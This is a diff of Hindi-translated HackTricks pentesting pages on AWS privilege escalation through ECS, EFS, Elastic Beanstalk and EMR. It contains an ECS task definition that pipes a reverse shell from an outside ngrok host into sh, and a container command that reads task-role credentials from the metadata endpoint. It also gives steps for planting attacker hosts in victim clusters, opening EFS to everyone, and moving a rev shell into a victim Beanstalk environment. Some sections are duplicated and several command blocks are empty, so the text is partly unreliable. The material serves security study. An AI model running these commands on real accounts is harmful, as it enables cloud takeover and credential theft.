+देखें **ec2 privesc page** कि आप इन permissions का दुरुपयोग कैसे करके **privesc to ECS** कर सकते हैं:
+
+{{#ref}}
+../aws-ec2-privesc/README.md
+{{#endref}}
+
+### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
+
+इन permissions वाले एक हमलावर संभावित रूप से एक EC2 instance को ECS cluster में register कर सकता है और उस पर tasks चला सकता है। इससे हमलावर को ECS tasks के context में arbitrary code execute करने की अनुमति मिल सकती है।
+
+- TODO: क्या यह संभव है कि किसीDifferent AWS account से instance register किया जाए ताकि tasks हमलावर द्वारा नियंत्रित machines पर चलें??
+
+### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
+
+> [!NOTE]
+> TODO: Test this
+
+एक हमलावर जिनके पास `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` permissions हों, वे किसी मौजूदा ECS service के लिए **एक दुर्भावनापूर्ण task set बना सकते हैं और primary task set को अपडेट कर सकते हैं**। इससे हमलावर को **service के भीतर arbitrary code execute करने** की अनुमति मिलती है।
+```bash
+# Register a task definition with a reverse shell
+echo '{
+"family": "malicious-task",
+"containerDefinitions": [
+{
+"name": "malicious-container",
+"image": "alpine",
+"command": [
+"sh",
+"-c",
+"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
+]
+}
+]
+}' > malicious-task-definition.json
+
+aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
+
+# Create a malicious task set for the existing service
+aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
+
+# Update the primary task set for the service
+aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
+```
+**संभावित प्रभाव**: प्रभावित सेवा में arbitrary code execute करना, जिससे उसकी कार्यक्षमता प्रभावित हो सकती है या संवेदनशील डेटा exfiltrate हो सकता है।
+
+## संदर्भ
+
+- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+ECS capacity providers और services को manage करने और update करने की permissions वाला attacker एक EC2 Auto Scaling Group बना सकता है जिसे वह control करता है, उसे एक ECS Capacity Provider में wrap कर सकता है, target cluster से associate कर सकता है, और victim service को इस provider पर migrate कर सकता है। इसके बाद tasks attacker-controlled EC2 instances पर schedule होंगे, जिससे OS-स्तरीय access मिलकर containers का निरीक्षण और task role credentials की चोरी संभव हो जाती है।
+
+Commands (us-east-1):
+
+- पूर्व-आवश्यकताएँ
+
+
+
+- target cluster में join करने के लिए ECS agent के लिए Launch Template बनाएं
+
+
+
+- Auto Scaling Group बनाएं
+
+
+
+- ASG से Capacity Provider बनाएं
+
+
+
+- Capacity Provider को cluster से associate करें (वैकल्पिक रूप से default के रूप में)
+
+
+
+- अपनी provider पर एक service migrate करें
+
+
+
+- सत्यापित करें कि tasks attacker instances पर उतर रहे हैं
+
+
+
+- वैकल्पिक: EC2 node से, docker exec करके target containers में जाएँ और http://169.254.170.2 पढ़कर task role credentials प्राप्त करें।
+
+- Cleanup
+
+
+
+**संभावित प्रभाव:** Attacker-controlled EC2 nodes victim tasks प्राप्त करते हैं, जिससे containers पर OS-स्तरीय access और task IAM role credentials की चोरी संभव होती है।
+
+
+

+कदम-दर-कदम कमांड (कॉपी/पेस्ट)
+
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+

+

+
+### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
+
+ECS Anywhere का दुरुपयोग करके attacker-controlled host को victim ECS cluster में एक EXTERNAL container instance के रूप में register किया जा सकता है और उन hosts पर privileged task और execution roles का उपयोग करके tasks चलाए जा सकते हैं। इससे यह अधिकार मिलता है कि tasks कहाँ चलेंगे (आपकी अपनी मशीन) और tasks तथा जुड़ी volumes से बिना capacity providers या ASGs को छुए credential/data चुराया जा सकता है।
+
+- आवश्यक permissions (उदाहरण न्यूनतम):
+- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
+- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (ECS Anywhere instance role और task/execution roles के लिए)
+- logs:CreateLogGroup/Stream, logs:PutLogEvents (यदि awslogs का उपयोग कर रहे हैं)
+
+- प्रभाव: चुने गए taskRoleArn के साथ attacker host पर arbitrary containers चलाएँ; task-role credentials को 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI से exfiltrate करें; tasks द्वारा mounted किसी भी volumes तक पहुँचें; यह capacity providers/ASGs को manipulate करने की तुलना में अधिक छिपा हुआ तरीका है।
+
+Steps
+
+1) Cluster बनाएं/पहचानें (us-east-1)
+```bash
+aws ecs create-cluster --cluster-name ht-ecs-anywhere
+```
+2) ECS Anywhere रोल और SSM सक्रियकरण बनाएं (on-prem/EXTERNAL instance के लिए)
+```bash
+aws iam create-role --role-name ecsAnywhereRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
+ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
+ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
+```
+3) attacker host को Provision करें और इसे auto-register करके EXTERNAL के रूप में रजिस्टर करें (उदाहरण: छोटा AL2 EC2 “on‑prem” के रूप में)
+
+

+user-data.sh
+```bash
+#!/bin/bash
+set -euxo pipefail
+amazon-linux-extras enable docker || true
+yum install -y docker curl jq
+systemctl enable --now docker
+curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
+chmod +x /root/ecs-anywhere-install.sh
+/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
+```
+

+```bash
+AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
+IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
+--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
+aws ec2 wait instance-status-ok --instance-ids $IID
+```
+4) सत्यापित करें कि EXTERNAL container instance जुड़ा हुआ है
+```bash
+aws ecs list-container-instances --cluster ht-ecs-anywhere
+aws ecs describe-container-instances --cluster ht-ecs-anywhere \
+--container-instances  --query 'containerInstances[0].[ec2InstanceId,attributes]'
+# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
+```
+5) task/execution roles बनाएँ, EXTERNAL task definition रजिस्टर करें, और इसे attacker host पर चलाएँ
+```bash
+# roles
+aws iam create-role --role-name ht-ecs-task-exec \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
+aws iam create-role --role-name ht-ecs-task-role \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+# attach any privileges you want to abuse to this task role
+
+# task def (EXTERNAL launch)
+cat > td-external.json << 'JSON'
+{
+"family": "ht-external",
+"requiresCompatibilities": [ "EXTERNAL" ],
+"networkMode": "bridge",
+"memory": "256",
+"cpu": "128",
+"executionRoleArn": "arn:aws:iam:::role/ht-ecs-task-exec",
+"taskRoleArn": "arn:aws:iam:::role/ht-ecs-task-role",
+"containerDefinitions": [
+{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
+"memory": 128,
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
+}
+]
+}
+JSON
+aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
+aws ecs register-task-definition --cli-input-json file://td-external.json
+CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
+aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
+--container-instances $CI
+```
+6) यहां से आप उस host को नियंत्रित करते हैं जो tasks चलाता है। आप task logs पढ़ सकते हैं (यदि awslogs) या सीधे host पर exec करके अपने tasks से credentials/data exfiltrate कर सकते हैं।
+
+#### कमांड उदाहरण (placeholders)
+
+
+
+
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+एक attacker जिसके पास ECS capacity providers को manage करने और services अपडेट करने की permissions हों, वह एक EC2 Auto Scaling Group बना सकता है जिसे वह control करे, उसे एक ECS Capacity Provider में wrap कर सकता है, target cluster से associate कर सकता है, और victim service को इस provider पर migrate कर सकता है। इसके बाद Tasks attacker-controlled EC2 instances पर schedule होंगे, जिससे containers का निरीक्षण करने और task role credentials चोरी करने के लिए OS-level access मिल जाएगा।
+
+Commands (us-east-1):
+
+- पूर्व-आवश्यकताएँ
+
+
+
+- Create Launch Template for ECS agent to join target cluster
+
+
+
+- Create Auto Scaling Group
+
+
+
+- Create Capacity Provider from the ASG
+
+
+
+- Associate the Capacity Provider to the cluster (optionally as default)
+
+
+
+- Migrate a service to your provider
+
+
+
+- Verify tasks land on attacker instances
+
+
+
+- वैकल्पिक: EC2 node से, docker exec करके target containers में जाएँ और http://169.254.170.2 पढ़कर task role credentials प्राप्त करें।
+
+- Cleanup
+
+
+
+**संभावित प्रभाव:** Attacker-controlled EC2 nodes को victim tasks मिलते हैं, जिससे containers पर OS-level access और task IAM role credentials की चोरी संभव हो जाती है।
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
deleted file mode 100644
index 7a93277bd..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# AWS - EFS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-**EFS के बारे में अधिक जानकारी** यहाँ है:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-याद रखें कि EFS को माउंट करने के लिए आपको उस उपनेटवर्क में होना चाहिए जहाँ EFS एक्सपोज़ किया गया है और आपके पास इसकी पहुँच होनी चाहिए (सुरक्षा समूह)। यदि ऐसा हो रहा है, तो डिफ़ॉल्ट रूप से, आप हमेशा इसे माउंट कर सकेंगे, हालाँकि, यदि यह IAM नीतियों द्वारा सुरक्षित है, तो आपको इसे एक्सेस करने के लिए यहाँ उल्लेखित अतिरिक्त अनुमतियाँ होनी चाहिए।
-
-### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
-
-इनमें से किसी भी अनुमति के साथ, एक हमलावर **फाइल सिस्टम नीति** को **बदल सकता है** ताकि आपको इसकी **पहुँच मिल सके**, या इसे **हटाने** के लिए ताकि **डिफ़ॉल्ट पहुँच** प्रदान की जा सके।
-
-नीति को हटाने के लिए:
-```bash
-aws efs delete-file-system-policy \
---file-system-id 
-```
-इसे बदलने के लिए:
-```json
-aws efs put-file-system-policy --file-system-id  --policy file:///tmp/policy.json
-
-// Give everyone trying to mount it read, write and root access
-// policy.json:
-{
-"Version": "2012-10-17",
-"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
-"Statement": [
-{
-"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"elasticfilesystem:ClientRootAccess",
-"elasticfilesystem:ClientWrite",
-"elasticfilesystem:ClientMount"
-],
-"Condition": {
-"Bool": {
-"elasticfilesystem:AccessedViaMountTarget": "true"
-}
-}
-}
-]
-}
-```
-### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
-
-इस अनुमति के साथ, एक हमलावर **EFS को माउंट** करने में सक्षम होगा। यदि लिखने की अनुमति डिफ़ॉल्ट रूप से सभी को नहीं दी गई है जो EFS को माउंट कर सकते हैं, तो उसके पास केवल **पढ़ने की अनुमति** होगी।
-```bash
-sudo mkdir /efs
-sudo mount -t efs -o tls,iam  :/ /efs/
-```
-अतिरिक्त अनुमतियाँ `elasticfilesystem:ClientRootAccess` और `elasticfilesystem:ClientWrite` का उपयोग **लेखन** के लिए किया जा सकता है जब यह फ़ाइल सिस्टम माउंट किया गया हो और **रूट** के रूप में उस फ़ाइल सिस्टम **तक पहुँच** प्राप्त करने के लिए।
-
-**संभावित प्रभाव:** फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क।
-
-### `elasticfilesystem:CreateMountTarget`
-
-यदि आप एक हमलावर हैं जो एक **उपनेटवर्क** के अंदर हैं जहाँ EFS का **कोई माउंट टारगेट** नहीं है। वह इस विशेषाधिकार के साथ **अपने उपनेट में एक बना सकता है**:
-```bash
-# You need to indicate security groups that will grant the user access to port 2049
-aws efs create-mount-target --file-system-id  \
---subnet-id  \
---security-groups 
-```
-**संभावित प्रभाव:** फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क।
-
-### `elasticfilesystem:ModifyMountTargetSecurityGroups`
-
-एक परिदृश्य में जहाँ एक हमलावर पाता है कि EFS का माउंट टारगेट उसके उपनेटवर्क में है लेकिन **कोई सुरक्षा समूह ट्रैफ़िक की अनुमति नहीं दे रहा है**, वह बस **चुनिंदा सुरक्षा समूहों को संशोधित करके उसे बदल सकता है:**
-```bash
-aws efs modify-mount-target-security-groups \
---mount-target-id  \
---security-groups 
-```
-**संभावित प्रभाव:** फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष विशेषाधिकार वृद्धि। 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
new file mode 100644
index 000000000..aeba208cf
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
@@ -0,0 +1,86 @@
+# AWS - EFS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+EFS के बारे में अधिक **जानकारी**:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+याद रखें कि EFS को mount करने के लिए आपको उसी subnetwork में होना चाहिए जहाँ EFS expose किया हुआ है और आपको उस तक access होना चाहिए (security groups)। यदि ऐसा है, तो default रूप से आप हमेशा इसे mount कर पाएँगे; हालांकि, यदि यह IAM policies द्वारा protected है तो इसे access करने के लिए आपको यहाँ बताए गए अतिरिक्त permissions की आवश्यकता होगी।
+
+### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
+
+इन permissions में से किसी के साथ attacker file system policy को बदल सकता है ताकि वह आपको इसे access दे सके, या बस इसे delete कर दे ताकि default access मिल जाए।
+
+पॉलिसी हटाने के लिए:
+```bash
+aws efs delete-file-system-policy \
+--file-system-id 
+```
+इसे बदलने के लिए:
+```json
+aws efs put-file-system-policy --file-system-id  --policy file:///tmp/policy.json
+
+// Give everyone trying to mount it read, write and root access
+// policy.json:
+{
+"Version": "2012-10-17",
+"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
+"Statement": [
+{
+"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"elasticfilesystem:ClientRootAccess",
+"elasticfilesystem:ClientWrite",
+"elasticfilesystem:ClientMount"
+],
+"Condition": {
+"Bool": {
+"elasticfilesystem:AccessedViaMountTarget": "true"
+}
+}
+}
+]
+}
+```
+### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
+
+इस अनुमति के साथ attacker **mount the EFS** करने में सक्षम होगा। यदि write permission डिफ़ॉल्ट रूप से उन सभी को नहीं दी गई है जो **mount the EFS** कर सकते हैं, तो उसके पास केवल **read access** होगा।
+```bash
+sudo mkdir /efs
+sudo mount -t efs -o tls,iam  :/ /efs/
+```
+अतिरिक्त permissions `elasticfilesystem:ClientRootAccess` और `elasticfilesystem:ClientWrite` का उपयोग EFS mount होने के बाद उसके अंदर **लिखने** और उस फ़ाइल सिस्टम तक **root के रूप में एक्सेस** करने के लिए किया जा सकता है।
+
+**संभावित प्रभाव:** फ़ाइल सिस्टम में संवेदनशील जानकारी ढूँढकर Indirect privesc।
+
+### `elasticfilesystem:CreateMountTarget`
+
+यदि कोई attacker ऐसे **subnetwork** में है जहाँ EFS का कोई **mount target** मौजूद नहीं है, तो वह इस privilege के साथ अपने **subnet** में बस **एक mount target बना** सकता है:
+```bash
+# You need to indicate security groups that will grant the user access to port 2049
+aws efs create-mount-target --file-system-id  \
+--subnet-id  \
+--security-groups 
+```
+**Potential Impact:** अप्रत्यक्ष privesc — फ़ाइल सिस्टम में संवेदनशील जानकारी खोजकर।
+
+### `elasticfilesystem:ModifyMountTargetSecurityGroups`
+
+ऐसी स्थिति में जहाँ हमलावर पाता है कि EFS उसके subnetwork में mount target है लेकिन **कोई security group ट्रैफ़िक की अनुमति नहीं दे रहा है**, वह बस **चयनित security groups को बदलकर इसे बदल सकता है**:
+```bash
+aws efs modify-mount-target-security-groups \
+--mount-target-id  \
+--security-groups 
+```
+**Potential Impact:** फ़ाइल सिस्टम में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
similarity index 53%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
index 72dfa1a0f..043037ca0 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
@@ -1,21 +1,21 @@
 # AWS - Elastic Beanstalk Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-More **info about Elastic Beanstalk** in:
+Elastic Beanstalk के बारे में अधिक **जानकारी**:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Beanstalk में संवेदनशील क्रियाएँ करने के लिए आपको **कई विभिन्न सेवाओं में बहुत सारी संवेदनशील अनुमतियाँ** होनी चाहिए। आप उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** को दी गई अनुमतियों की जांच कर सकते हैं।
+> Beanstalk में संवेदनशील क्रियाएँ करने के लिए आपको कई अलग-अलग सेवाओं में बहुत सारी संवेदनशील **permissions** की आवश्यकता होगी। आप उदाहरण के लिए दिए गए permissions को चेक कर सकते हैं: **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
 
-### `elasticbeanstalk:RebuildEnvironment`, S3 लिखने की अनुमतियाँ और कई अन्य
+### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & कई अन्य
 
-**पर्यावरण के कोड** वाले S3 बकेट पर **लिखने की अनुमतियों** और एप्लिकेशन को **पुनर्निर्माण** करने की अनुमतियों (इसके लिए `elasticbeanstalk:RebuildEnvironment` और `S3`, `EC2` और `Cloudformation` से संबंधित कुछ और की आवश्यकता है) के साथ, आप **कोड** को **संशोधित** कर सकते हैं, **ऐप** को पुनर्निर्माण कर सकते हैं और अगली बार जब आप ऐप तक पहुँचेंगे, तो यह **आपका नया कोड** **निष्पादित** करेगा, जिससे हमलावर को एप्लिकेशन और इसके IAM भूमिका क्रेडेंशियल्स को समझौता करने की अनुमति मिलती है।
+S3 bucket पर जो environment का **code** रखता है उस पर **write permissions** और application को **rebuild** करने वाली permissions होने पर (इसके लिए `elasticbeanstalk:RebuildEnvironment` और `S3`, `EC2` और `Cloudformation` से संबंधित कुछ और permissions की आवश्यकता होती है), आप **code** को **modify** कर सकते हैं, app को **rebuild** कर सकते हैं और अगली बार जब आप app को access करेंगे तो यह आपका नया **code** **execute** करेगा, जिससे attacker application और उसके IAM role credentials को compromise कर पाएगा।
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -30,25 +30,25 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
 # Rebuild env
 aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
-### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, और अधिक...
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, और अन्य...
 
-उल्लेखित और कई **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** और **`elasticloadbalancing`** अनुमतियाँ एक कच्चा Elastic Beanstalk परिदृश्य बनाने के लिए आवश्यक हैं।
+उल्लेखित के अलावा कई **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** और **`elasticloadbalancing`** अनुमतियाँ शून्य से एक मूल Elastic Beanstalk परिदृश्य बनाने के लिए आवश्यक हैं।
 
-- AWS Elastic Beanstalk एप्लिकेशन बनाएं:
+- AWS Elastic Beanstalk एप्लिकेशन बनाएँ:
 ```bash
 aws elasticbeanstalk create-application --application-name MyApp
 ```
-- एक AWS Elastic Beanstalk वातावरण ([**समर्थित प्लेटफ़ॉर्म**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
+- एक AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
 ```bash
 aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
 ```
-यदि एक वातावरण पहले से ही बनाया गया है और आप **नया नहीं बनाना चाहते**, तो आप बस **मौजूदा** को **अपडेट** कर सकते हैं।
+यदि एक environment पहले से मौजूद है और आप **नया नहीं बनाना चाहते**, तो आप मौजूद वाले को सिर्फ **अपडेट** कर सकते हैं।
 
-- अपने एप्लिकेशन कोड और निर्भरताओं को एक ZIP फ़ाइल में पैक करें:
+- अपने application code और dependencies को एक ZIP फ़ाइल में पैकेज करें:
 ```python
 zip -r MyApp.zip .
 ```
-- ZIP फ़ाइल को S3 बकेट में अपलोड करें:
+- S3 bucket में ZIP फ़ाइल अपलोड करें:
 ```python
 aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip
 ```
@@ -56,13 +56,13 @@ aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip
 ```css
 aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip"
 ```
-- अपने AWS Elastic Beanstalk वातावरण में एप्लिकेशन संस्करण को तैनात करें:
+- अपने AWS Elastic Beanstalk environment पर एप्लिकेशन संस्करण तैनात करें:
 ```bash
 aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
 ```
 ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
 
-सबसे पहले, आपको **पीड़ित** में चलाने के लिए **कोड** के साथ एक **वैध Beanstalk वातावरण** बनाना होगा, जो **पिछले चरणों** का पालन करता है। संभावित रूप से एक साधारण **zip** जिसमें ये **2 फ़ाइलें** शामिल हैं:
+सबसे पहले आपको एक **legit Beanstalk environment** बनाना होगा जिसमें वह **code** हो जिसे आप **victim** पर चलाना चाहते हैं, और यह **previous steps** का पालन करते हुए किया जाना चाहिए। संभवतः एक साधारण **zip** जिसमें ये **2 files** हों:
 
 {{#tabs }}
 {{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-एक बार जब आपके पास **अपना खुद का Beanstalk env चल रहा हो** आपका rev shell, तो इसे **शिकार** के env में **स्थानांतरित** करने का समय है। ऐसा करने के लिए आपको अपने beanstalk S3 बकेट की **बकेट नीति को अपडेट** करना होगा ताकि **शिकार इसे एक्सेस कर सके** (ध्यान दें कि इससे बकेट **सभी के लिए खुल जाएगा**):
+एक बार जब आपका **Beanstalk env अपना rev shell चला रहा हो**, तो इसे **victim के env** में **माइग्रेट** करने का समय है। ऐसा करने के लिए आपको अपने Beanstalk S3 bucket की **Bucket Policy को अपडेट** करना होगा ताकि **victim इसे एक्सेस कर सके** (ध्यान दें कि इससे Bucket **खुल जाएगा** और **EVERYONE** के लिए उपलब्ध हो जाएगा):
 ```json
 {
 "Version": "2008-10-17",
@@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
 
 The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
deleted file mode 100644
index c9e82a385..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# AWS - EMR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EMR
-
-More **info about EMR** in:
-
-{{#ref}}
-../aws-services/aws-emr-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
-
-इन अनुमतियों के साथ एक हमलावर **EC2 भूमिकाओं को संलग्न करते हुए एक नया EMR क्लस्टर चला सकता है** और इसके क्रेडेंशियल्स चुराने की कोशिश कर सकता है।\
